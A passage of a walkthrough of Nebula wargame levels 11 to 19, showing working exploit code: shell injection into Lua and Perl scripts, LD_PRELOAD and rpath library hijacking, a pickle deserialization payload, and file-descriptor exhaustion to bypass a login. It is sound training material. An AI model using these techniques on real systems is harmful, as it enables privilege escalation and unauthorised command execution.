'/' 0010 1111 0000 1010
Update key value:
key = key - '/' (key -= buffer[i])
47 0000 0000 0010 1111
Because of this simple operation, we can easily create a program that will perform the same XOR operation on the data before we pass it to the flag11 program. This way, we should be able to have the process() function produce the command we're looking to execute.
Let's create a small program that will write our desired data to stdout:
level11@nebula:~$ vim level11.c
level11.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
int len = 1024;
char buf[1024] = {0};
char header[] = "Content-Length: 1024\n";
char getflag[] = "/bin/getflag";
unsigned int key;
key = len & 0xff;
memcpy(buf, getflag, strlen(getflag));
for (int i = 0; i <= strlen(getflag); i++) {
buf[i] ^= key;
key -= buf[i] ^ key;
}
fwrite(header, 1, strlen(header), stdout);
fwrite(buf, 1, len, stdout);
exit(EXIT_SUCCESS);
}
Let's compile and test our program:
level11@nebula:~$ gcc level11.c -o level11 -std=c99
level11@nebula:~$ ./level11
Content-Length: 1024
/?h?g?O?6??level11@nebula:~$
Right, we get some output. Next, we'll try and pipe this to the flag11 program:
level11@nebula:~$ ./level11 | /home/flag11/flag11
blue = 1024, length = 1024, pink = 1024
flag11: mmap: Bad file descriptor
The function getrand() relies on the TEMP environment variable (line 21) to be set, otherwise the file descriptor will be invalid and the mmap call will fail. Let's try again:
level11@nebula:~$ export TEMP=/tmp/
level11@nebula:~$ ./level11 | /home/flag11/flag11
blue = 1024, length = 1024, pink = 1024
getflag is executing on a non-flag account, this doesn't count
Again, we get the message stating that we're not running as a flag account. However I feel this should count.
Level 12
There is a backdoor process listening on port 50001.
level12.lua
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))
function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
end
while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)
if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end
end
client:close()
end
Whenever I see a SHA-1 hash, I will check some of the common databases online first. This is generally a good suggestion when faced with a SHA-1 hash value. For this hash, however, I was unable to locate the original input used to produce it.
I haven't written a single line of Lua in my entire life, but it is still very clear what the program does. It accepts a value from the client and passes this to a hash function. The hash is then compared to the expected value and one of two messages are sent to the client.
Let's try the program using nc:
level12@nebula:~$ nc 127.0.0.1 50001
Password: lulz
Better luck next time
We're looking for a part of the script where local programs are executed. On line 5, we can see that the function io.popen() is used to run echo password | sha1sum.
From the Lua reference manual we learn the following about the function:
io.popen (prog [, mode])> This function is system dependent and is not available on all platforms.
Starts program prog in a separated process and returns a file handle that you can use to read data from this program (if mode is "r", the default) or to write data to this program (if mode is "w").
Having had a look around for common vulnerabilities in Lua, I came across this page, which suggests that command injection is possible when passing user input to io.popen().
Let's try it out!
level12@nebula:~$ nc 127.0.0.1 50001
Password: echo |/bin/getflag > /tmp/flag12.txt
Better luck next timelevel12@nebula:~$ cat /tmp/flag12.txt
You have successfully executed getflag on a target account
And that will be all for Level 12.
Level 13
I also managed to beat Level13 late last night:
There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.
level13_safe.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#define FAKEUID 1000
int main(int argc, char **argv, char **envp)
{
int c;
char token[256];
if(getuid() != FAKEUID) {
printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
printf("The system administrators will be notified of this violation\n");
exit(EXIT_FAILURE);
}
// snip, sorry :)
printf("your token is %s\n", token);
}
The program will check if the current UID is 1000. If it isn't a message is printed, otherwise the token is printed.
The most straight forward way to approach this is to implement our own getuid() method which will always return 1000. This should be possible through using the dynamic linker and its LD_PRELOAD environment variable. From the man page of ld.so:
LD_PRELOAD
A whitespace-separated list of additional, user-specified, ELF shared
libraries to be loaded before all others. This can be used to selectively
override functions in other shared libraries. For setuid/setgid ELF
binaries, only libraries in the standard search directories that
are also setgid will be loaded. That last bit is important. It means that we won't be able to use our custom library with the target executable if it has the setuid flag:
level13@nebula:~$ ll /home/flag13/flag13
-rwsr-x--- 1 flag13 level13 7321 Nov 20 2011 /home/flag13/flag13* Fortunately we can remove this by simply copying the program:
level13@nebula:~$ cp -v /home/flag13/flag13 ~
`/home/flag13/flag13' -> `/home/level13/flag13'
level13@nebula:~$ ll ~/flag13
-rwxr-x--- 1 level13 level13 7321 Apr 26 22:15 /home/level13/flag13*
From the man page of getuid(), we can get the method signature:
SYNOPSIS
#include <unistd.h>
#include <sys/types.h>
uid_t getuid(void);
...
Here's the small program used to implement a custom getuid():
fakeuid.c
#include <unistd.h>
#include <sys/types.h>
#define FAKEUID 1000
uid_t getuid(void) {
return FAKEUID;
}
Next, we compile our program into a shared library and set LD_PRELOAD:
level13@nebula:~$ gcc fakeuid.c -fPIC -shared -o ~/libfakeuid.so
level13@nebula:~$ export LD_PRELOAD="/home/level13/libfakeuid.so"
And let's run our copy of flag13:
level13@nebula:~$ ./flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
As expected, the token is returned. We can use this to authenticate as the flag13 user:
level13@nebula:~$ su flag13
Password:
sh-4.2$ /bin/getflag
You have successfully executed getflag on a target account
And here is what would happen if we didn't copy flag13 but instead ran the original program:
level13@nebula:~$ /home/flag13/flag13
Security failure detected. UID 1014 started us, we expect 1000
The system administrators will be notified of this violation
Our custom library is not loaded and the program is unaffected.
This level was quite simple, but fun!
Level 14
Unsurprisingly, after Level 13 comes Level 14:
This program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :)
Right, so let's have a play with the program:
level14@nebula:~$ /home/flag14/flag14
/home/flag14/flag14
-e Encrypt input
level14@nebula:~$ echo "00000000000000000000" | /home/flag14/flag14 -e
0123456789:;<=>?@ABC
level14@nebula:~$ echo "00000000000000000012" | /home/flag14/flag14 -e
0123456789:;<=>?@ACE
level14@nebula:~$ echo "00000000000000000010" | /home/flag14/flag14 -e
0123456789:;<=>?@ACC
level14@nebula:~$ echo "aaaaaaaa" | /home/flag14/flag14 -e
abcdefgh
It looks like each character is just incremented by it's position. Based on this theory, the following should be our encryption function:
encrypt.c
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
int len = strlen(argv[1]);
for (int i = 0; i < len; i++) {
printf("%c", argv[1][i] + i);
}
return 0;
}
Let's check if it produces the same output as the flag14 program:
level14@nebula:~$ gcc encrypt.c -o encrypt -std=c99
level14@nebula:~$ echo "arbitr4ry t3x7" | /home/flag14/flag14 -e
asdlxw:y?)~>?D
level14@nebula:~$ ./encrypt "arbitr4ry t3x7"
asdlxw:y?)~>?D
Looks like we've managed to reverse-engineer this "encryption" function. To reverse the process, we'll create another simple program:
reverse.c
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
int len = strlen(argv[1]);
for (int i = 0; i < len; i++) {
printf("%c", argv[1][i] - i);
}
return 0;
}
We compile our program and give it a try:
level14@nebula:~$ gcc reverse.c -o reverse -std=c99
level14@nebula:~$ ./reverse $(cat /home/flag14/token)
8457c118-887c-4e40-a5a6-33a25353165
level14@nebula:~$ su flag14
Password:
sh-4.2$ /bin/getflag
You have successfully executed getflag on a target account
Onto Level 15!
Level 15
Only a few levels to go! Today's post is about Level 15:
strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary. You may wish to review how to "compile a shared library in linux" and how the libraries are loaded and processed by reviewing the dlopen manpage in depth. Clean up after yourself :)
So let's do as we're told and run strace against the binary:
level15@nebula:~$ strace /home/flag15/flag15 &> /tmp/flag15_strace.txt ; cat /tmp/flag15_strace.txt | grep "ENOENT"
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf96fc34) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf96fc34) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbf96fc34) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbf96fc34) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbf96fc34) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbf96fc34) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbf96fc34) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbf96fc34) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbf96fc34) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbf96fc34) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbf96fc34) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbf96fc34) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbf96fc34) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbf96fc34) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbf96fc34) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) The program is attempting to use rpath to load a shared library from some locations. Let's try and create our own library in place of /var/tmp/flag15/libc.so.6 to make the program execute arbitrary code of our choosing.
From the GCC documentation, we can learn about Common Function Attributes. One such attribute is the constructor attribute which is explained as follows:
The constructor attribute causes the function to be called automatically before execution enters main (). Similarly, the destructor attribute causes the function to be called automatically after main () completes or exit () is called. Functions with these attributes are useful for initializing data that is used implicitly during the execution of the program.
This means that if we assign this attribute to one of the functions we define in a shared library, it will be called by any program loading our library. Let's write a basic library that implements the __attribute__((constructor)) function:
pwn15.c
#include <stdlib.h>
static void pwn_level15() __attribute__((constructor));
void pwn_level15() {
system("echo Running getflag...");
system("/bin/getflag > /tmp/flag15.txt");
}
Now let's compile our source file into a shared library:
level15@nebula:~$ gcc -shared -o /tmp/libpwn15.so -fPIC pwn15.c
The arguments passed to the compiler are as follows:
sharedtells gcc we want to compile a shared libraryodefines the name of the output filefPICemits position-independent code which is needed for shared libraries
We create a symbolic link such that the flag15 program will load our library and attempt to run the program:
level15@nebula:~$ ll /tmp/libpwn15.so
-rwxrwxr-x 1 level15 level15 779358 May 1 03:16 /tmp/libpwn15.so*
level15@nebula:~$ ln -s /tmp/libpwn15.so /var/tmp/flag15/libc.so.6
level15@nebula:~$ /home/flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference From the output we can see that the function __cxa_finalize is required before the program reaches our custom function, so we need to implement this function in our program as follows:
pwn15.c
#include <stdlib.h>
static void pwn_level15() __attribute__((constructor));
void pwn_level15() {
system("echo Running getflag...");
system("/bin/getflag > /tmp/flag15.txt");
}
void __cxa_finalize(void *v) {
return;
}
We compile our updated library and try again:
level15@nebula:~$ gcc -shared -o /tmp/libpwn15.so -fPIC pwn15.c
level15@nebula:~$ /home/flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol system, version GLIBC_2.0 not defined in file libc.so.6 with link time reference We're getting closer. The program is now trying to call system() from within our pwn_level15 function, but it looks like the application depends on an old version of glibc. We can use nm to confirm this theory:
level15@nebula:~$ nm -u /home/flag15/flag15
w _Jv_RegisterClasses
w __gmon_start__
U __libc_start_main@@GLIBC_2.0
U puts@@GLIBC_2.0 We can see that the program has two undefined symbols (U) that require GLIBC version 2.0. Fortunately, we can fix this by including a version script when linking our program. From the ld man pages:
--version-script=version-scriptfile
Specify the name of a version script to the linker. This is
typically used when creating shared libraries to specify additional
information about the version hierarchy for the library being created.
This option is only fully supported on ELF platforms which support shared
libraries; see VERSION. It is partially supported on PE platforms,
which can use version scripts to filter symbol visibility in
auto-export mode: any symbols marked local in the version script will not
be exported. We can create a simple version script and include this when compiling our library:
level15@nebula:~$ echo "GLIBC_2.0 {};" > glib.map
level15@nebula:~$ gcc -shared -o /tmp/libpwn15.so -fPIC -Wl,--version-script glib.map pwn15.c
level15@nebula:~$ /home/flag15/flag15
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol system, version GLIBC_2.0 not defined in file libc.so.6 with link time reference
Right so we get another error. We need to link our library statically. To do this, we include the gcc flag -static-libgcc and the linker flag -BStatic as follows, and attempt to run the program again:
level15@nebula:~$ gcc -shared -o /tmp/libpwn15.so -fPIC -Wl,--version-script glib.map -Wl,-Bstatic -static-libgcc pwn15.c
level15@nebula:~$ /home/flag15/flag15
Running getflag...
/home/flag15/flag15: relocation error: /home/flag15/flag15: symbol __libc_start_main, version GLIBC_2.0 not defined in file libc.so.6 with link time reference From the output we can see that our function was called! Let's have a look at the output file:
level15@nebula:~$ cat /tmp/flag15.txt
You have successfully executed getflag on a target account
Nice, we finally beat it! This was by far the most difficult level for me yet as I have limited experience with gcc and shared libraries.
Level 16
There is a perl script running on port 1616.
First, we need to review the code and determine what area(s) we need to focus on:
index.pl
#!/usr/bin/env perl**
use CGI qw{param};
print "Content-type: text/html\n\n";
sub login {
$username = $_[0];
$password = $_[1];
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);
if($pw =~ $password) {
return 1;
}
}
return 0;
}
sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
}
print("Would you like a cookie?<br/><br/></body></html>\n");
}
htmlz(login(param("username"), param("password")));**
The interesting items here are primarily lines 11 and 14. On line 11, any input we provide for the username parameter is transformed into uppercase. On line 14, the egrep command is executed, attempting to extract any lines that start with the username in uppercase. However, what the command does is unimportant. The fact that a system command is executed with a user-supplied parameter is good enough for us. This is our attack vector.
So how do we exploit this? As I previously mentioned, the script imposes two limitations on any system call injection we perform:
- It is converted to uppercase
- Any spaces are removed
If we were to write a small script and place this in a common directory, e.g. /tmp/pwn16, this would be converted to /TMP/PWN16. While this isn't an issue for the script name, the directory will be problematic. Fortunately Bash supports Pattern Matching, where * can be used to substitute any string. For example:
level16@nebula:~$ /*/getflag
getflag is executing on a non-flag account, this doesn't count
Our target is to replace the username variable in the following manner:
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
> @output = `egrep "^;/*/PWN16;" /home/flag16/userdb.txt 2>&1`;
Let's write a small bash script at /tmp/PWN16 and set execute permissions:
/tmp/PWN16
#!/bin/sh
echo Running as user $(whoami) >> /tmp/flag16.out
/bin/getflag >> /tmp/flag16.out
level16@nebula:~$ chmod +x /tmp/PWN16
First, we need to URL-encode our payload: ;/*/PWN16; becomes %3B%2F%2A%2FPWN16%3B
Now, nc can be used to submit our payload:
level16@nebula:~$ nc 127.0.0.1 1616
GET /index.cgi?username="%3B%2F%2A%2FPWN16%3B"
Content-type: text/html
^C
At this point, we CTRL+C to break out and check if our output file was created:
level16@nebula:~$ cat /tmp/flag16.out
Running as user flag16
You have successfully executed getflag on a target account
So, what could have been done to prevent this attack? Accepting user input for system commands is questionable to begin with, but if it must be done there should be some guards around which characters can be used. Instead of only converting the data to uppercase, additional restrictions could be imposed. For instance, not permitting any escape-type characters ()[]*$;\` and so on is a good start.
Level 17
Level17: Python.
There is a python script listening on port 10007 that contains a vulnerability.
level17.py
#!/usr/bin/python
import os
import pickle
import time
import socket
import signal
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
def server(skt):
line = skt.recv(1024)
obj = pickle.loads(line)
for i in obj:
clnt.send("why did you send me " + i + "?\n")
skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)
while True:
clnt, addr = skt.accept()
if(os.fork() == 0):
clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
server(clnt)
exit(1)
If we review the code, there is very little done apart from handling connections. On line 12, the program will read our input and on line 14 it will perform some operation on it. When I started the exercise, I had no idea what pickle did. It turns out it's a python approach to serialization of objects. The pickle documentation contains a warning about usage of pickle:
Warning: The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
OK, so it's pretty obvious that this is what we're going to attempt to exploit. Reading up on the pickle protocol I noticed something in section 11.1.5.2. Pickling and unpickling extension types:
object.__reduce__()When the
Picklerencounters an object of a type it knows nothing about — such as an extension type — it looks in two places for a hint of how to pickle it. One alternative is for the object to implement a__reduce()__method. If provided, at pickling time__reduce()__will be called with no arguments, and it must return either a string or a tuple.
If we write a small class which implements this method, we should be able to execute arbitrary code.
First, let's create our trusty bash script /tmp/getflag we've used in previous exercises and set executable permission:
/tmp/getflag
#!/bin/bash
echo Running as $(whoami) >> /tmp/flag17.out
/bin/getflag >> /tmp/flag17.out
level17@nebula:~$ chmod +x /tmp/getflag
Next, we'll create our simple class and some code to submit the pickled object to the server for unpickling (and code execution!):
pwn17.py
#!/usr/bin/python
import pickle
import subprocess
import socket
class Pwn17(object):
def __reduce__(self):
return (subprocess.Popen, (('/tmp/getflag',),))
obj = pickle.dumps(Pwn17())
# Target Server
host = "127.0.0.1"
port = 10007
# Connect and submit payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(obj)
s.close()
We run the program and check our output file:
level17@nebula:~$ python pwn17.py
level17@nebula:~$ cat /tmp/flag17.out
Running as flag17
You have successfully executed getflag on a target account
I think the lesson here is that pickle should never be used anywhere near input from an external source. This is a straightforward and very powerful exploit.
Level 18
Second to last challenge. Level 18:
Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.
After reviewing the code for a bit, I found a flaw in the void login(char *pw) function:
level18.c
void login(char *pw)
{
FILE *fp;
fp = fopen(PWFILE, "r");
if(fp) {
char file[64];
if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
fclose(fp);
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n",
fp == NULL ? "out" : "");
globals.loggedin = 1;
}
The program attempts to open PWFILE (#define PWFILE "/home/flag18/password") and checks if the pointer to the file has a value. If we could somehow cause the fopen call to return NULL, the code would continue from line 37, and setting globals.loggedin to 1 for us. Once this value is set, the program would consider us "logged in".
So how do we approach this? The first thing that comes to mind is exhausting the system's available file descriptors. For each Linux system, there are limits defined for the maximum amount of files that can be opened. We can determine the amount of descriptors presently allocated and the maximum using the sysctl fs.file-nr command:
level18@nebula:~$ sysctl fs.file-nr
fs.file-nr = 320 0 49124</pre>
It turns out we're presently using 320 of a total of 49124 file descriptors. There are some limits defined for how many files can be opened per process. We can get this information using the ulimit -a command. Passing H gives us the Hard limits, which we need root privileges to modify and S gives us the Soft limits. We are able to modify the Soft limits for our current user:
level18@nebula:~$ ulimit -Sa |grep files
open files (-n) 1024
level18@nebula:~$ ulimit -Ha |grep files
open files (-n) 4096
level18@nebula:~$ ulimit -Sn 4096
Nice, we were able to increase our soft limit from 1024 to 4096. This reduces the amount of processes we need to open to exhaust all available file descriptors.
Next, we'll write a small C program that opens a lot of files without closing them, which we can run in the background:
pwn18.c
#include <stdio.h>
#define FILECOUNT 4096
int main(void) {
FILE *f;
for (int i = 0; i < FILECOUNT; i++) {
f = fopen("/tmp/lvl18", "w");
}
/* pause program */
getchar();
return 0;
}
We compile the program to and produce our executable pwn18 and try it out:
level18@nebula:~$ gcc -o pwn18 pwn18.c -std=c99
level18@nebula:~$ sysctl fs.file-nr
fs.file-nr = 320 0 49124
level18@nebula:~$ ./pwn18 &
[1] 1453
level18@nebula:~$ sysctl fs.file-nr
fs.file-nr = 4384 0 49124
[1]+ Stopped(SIGTTIN) ./pwn18
level18@nebula:~$ kill %1
[1]+ Terminated ./pwn18 The program works nicely, but we need to spawn more processes to fully exhaust all file descriptors. First, however, we need to start the flag18 program. The program accepts a parameter -d to define an output file for debugging. Using /dev/tty here is really convenient as it returns the output directly to the console. Let's start flag18 from another ssh session:
level18@nebula:~$ /home/flag18/flag18 -d /dev/tty
Starting up. Verbose level = 0
In our first session, let's spawn lots of pwn18 processes:
level18@nebula:~$ for i in {1..12};do ./pwn18 & done
[1] 1590
[2] 1591
[3] 1592
[4] 1593
[5] 1594
[6] 1595
[7] 1596
[8] 1597
[9] 1598
[10] 1599
[11] 1600
[12] 1601
level18@nebula:~$ sysctl fs.file-nr
-sh: start_pipeline: pgrp pipe: Too many open files in system
-sh: /sbin/sysctl: Too many open files in system
...
Great! No more file descriptors are available. Back in our other shell, let's type login to enter the login function:
level18@nebula:~$ /home/flag18/flag18 -d /dev/tty
Starting up. Verbose level = 0
login
logged in successfully (without password file) Our theory is confirmed. We're now "logged in". Before we take any further action, we will terminate the jobs we started in our first session:
level18@nebula:~$ for i in {1..12};do kill "%$i";done
[1] Terminated ./pwn18
[2] Terminated ./pwn18
[3] Terminated ./pwn18
[4] Terminated ./pwn18
[5] Terminated ./pwn18
[6] Terminated ./pwn18
[7] Terminated ./pwn18
[8] Terminated ./pwn18
[9] Terminated ./pwn18
[10] Terminated ./pwn18
[11]- Terminated ./pwn18
[12]+ Terminated ./pwn18
level18@nebula:~$ sysctl fs.file-nr
fs.file-nr = 384 0 49124
Our next target is to start "shell" as per the following else clause of the program:
} else if(strncmp(line, "shell", 5) == 0) {
dvprintf(3,"ttempting to start shell\n");
if(globals.loggedin) {
execve("/bin/sh", argv, envp);
err(1, "unable to execve");
}
dprintf("Permission denied\n");
The program checks if the globals.loggedin variable is set and attempts to start a shell using execve("/bin/sh", argv, envp). Let's try it out:
level18@nebula:~$ /home/flag18/flag18 -d /dev/tty
Starting up. Verbose level = 0
login
logged in successfully (without password file)
shell
/home/flag18/flag18: -d: invalid option
Usage: /home/flag18/flag18 [GNU long option] [option] ...
/home/flag18/flag18 [GNU long option] [option] script-file ...
GNU long options:
--debug
--debugger
--dump-po-strings
--dump-strings
--help
--init-file
--login
--noediting
--noprofile
--norc
--posix
--protected
--rcfile
--restricted
--verbose
--version
Shell options:
-irsD or -c command or -O shopt_option(invocation only)
-abefhkmnptuvxBCHP or -o option As argv is passed onto the execve() call, whatever we pass as arguments to flag18 will follow through. We need to figure out a way to have the -d parameter and anything following it to be ignored. We can achieve this by passing either --init-file or --rcfile as our first argument to flag18. The -d parameter will then be ignored by bash. Let's repeat the process as before, but we'll modify our parameters when starting flag18:
flag18@nebula:~$ /home/flag18/flag18 --init-file -d /dev/tty
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'n'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 't'
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
Starting up. Verbose level = 0
Again, we start our background tasks in the other shell:
level18@nebula:~$ for i in {1..12};do ./pwn18 & done
In the flag18 shell, we login:
Starting up. Verbose level = 0
login
logged in successfully (without password file)
Kill the jobs:
level18@nebula:~$ for i in {1..12};do kill "%$i";done
Run shell, check our user account and run getflag!
Starting up. Verbose level = 0
login
logged in successfully (without password file)
shell
whoami
flag18
getflag
You have successfully executed getflag on a target account While we're at it, let's check the password file in /home/flag18:
cat /home/flag18/password
44226113-d394-4f46-9406-91888128e27a
It turns out the password doesn't work for the flag18 account. Not sure what it is for.
This was a pretty tough one. I am not sure if I went for the "easy" or "intermediate" way to solve it. I may come back to this one later and see if I can figure out another way to beat it.
Level 18: Short Version
Right, so just after I completed Level 18 of Nebula I realised there's a simpler way to do the same thing. Way simpler. This is made possible because of the fact that it is affected by ulimit -Sn and we can use the "closelog" feature to close the debugging file and free up a file descriptor from within the program:
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
First, we'll change the ulimit such that the all file descriptors are immediately allocated on startup:
level18@nebula:~$ ulimit -Sn 4
Next, we start the flag18 program and immediately spot that all file descriptors are allocated:
level18@nebula:~$ /home/flag18/flag18 --rcfile -d /dev/tty -v
-sh: start_pipeline: pgrp pipe: Too many open files
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
Starting up. Verbose level = 1
login
logged in successfully (without password file)
closelog
shell
whoami
flag18
getflag
You have successfully executed getflag on a target account I guess maybe this was the easy way of doing the level.
Level 19
The final boss. Level19.
There is a flaw in the below program in how it operates.
The level description is not very detailed, so let's have a look at the program. This part of the program will allow us to execute arbitrary commands, as long as the uid associated with our calling process is 0 (i.e. root).
/* check the owner id */
if(statbuf.st_uid == 0) {
/* If root started us, it is ok to start the shell */
execve("/bin/sh", argv, envp);
err(1, "Unable to execve");
}
In Linux there's a concept of process inheritance. Each process has a parent, and a parent process can have multiple children. The exception to this rule is the init process, which is started at system boot. The init process is its own parent and is the parent, either directly or indirectly, of all other processes running on the system. This process is run as root and it's Process ID (PID) is 1:
level19@nebula:~$ ps aux |grep 'PID\|init'
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.3 3200 1796 ? Ss 11:32 0:00 /sbin/init
level19 1336 0.0 0.1 4156 552 pts/0 R+ 11:45 0:00 grep --color=auto PID\|init If a process spawns a new child (e.g. through the fork() system call in C), it becomes the parent of that child process. If the parent is killed before the child, the child process is said to become an orphan process. All orphan processes are adopted by init. The flag19 program checks the parent process (getppid())and this is the vulnerability we will exploit:
/* Get the parent's /proc entry, so we can verify its user id */
snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
Let's write a really basic program that spawns a new child process. The parent process will immediately return and the child will wait to be adopted by init before calling flag19:
pwn19.c
#include <stdio.h>
#include <unistd.h>
int main(void) {
pid_t pid = fork();
/* child */
if (pid == 0) {
char *cmd = "/home/flag19/flag19";
char *args[] = { "/bin/sh","-c","/bin/getflag"};
sleep(3);
fprintf(stdout, "Parent PID: %d\n", getppid());
execv(cmd, args);
return 0;
}
/* parent */
else {
return 0;
}
}
Let's compile our program and run it:
level19@nebula:~$ gcc -o pwn19 pwn19.c
level19@nebula:~$ ./pwn19
level19@nebula:~$ Parent PID: 1
You have successfully executed getflag on a target account
Closing Thoughts
... and Nebula is completed! This was the first time I attempted any exploit exercise / war-game, but certainly not the last. It was a lot of fun and I learned so many new things along the way.
I would like to thank the creator(s) of the Exploit Exercises website for all of the hard work that must have been put in to create these exercises.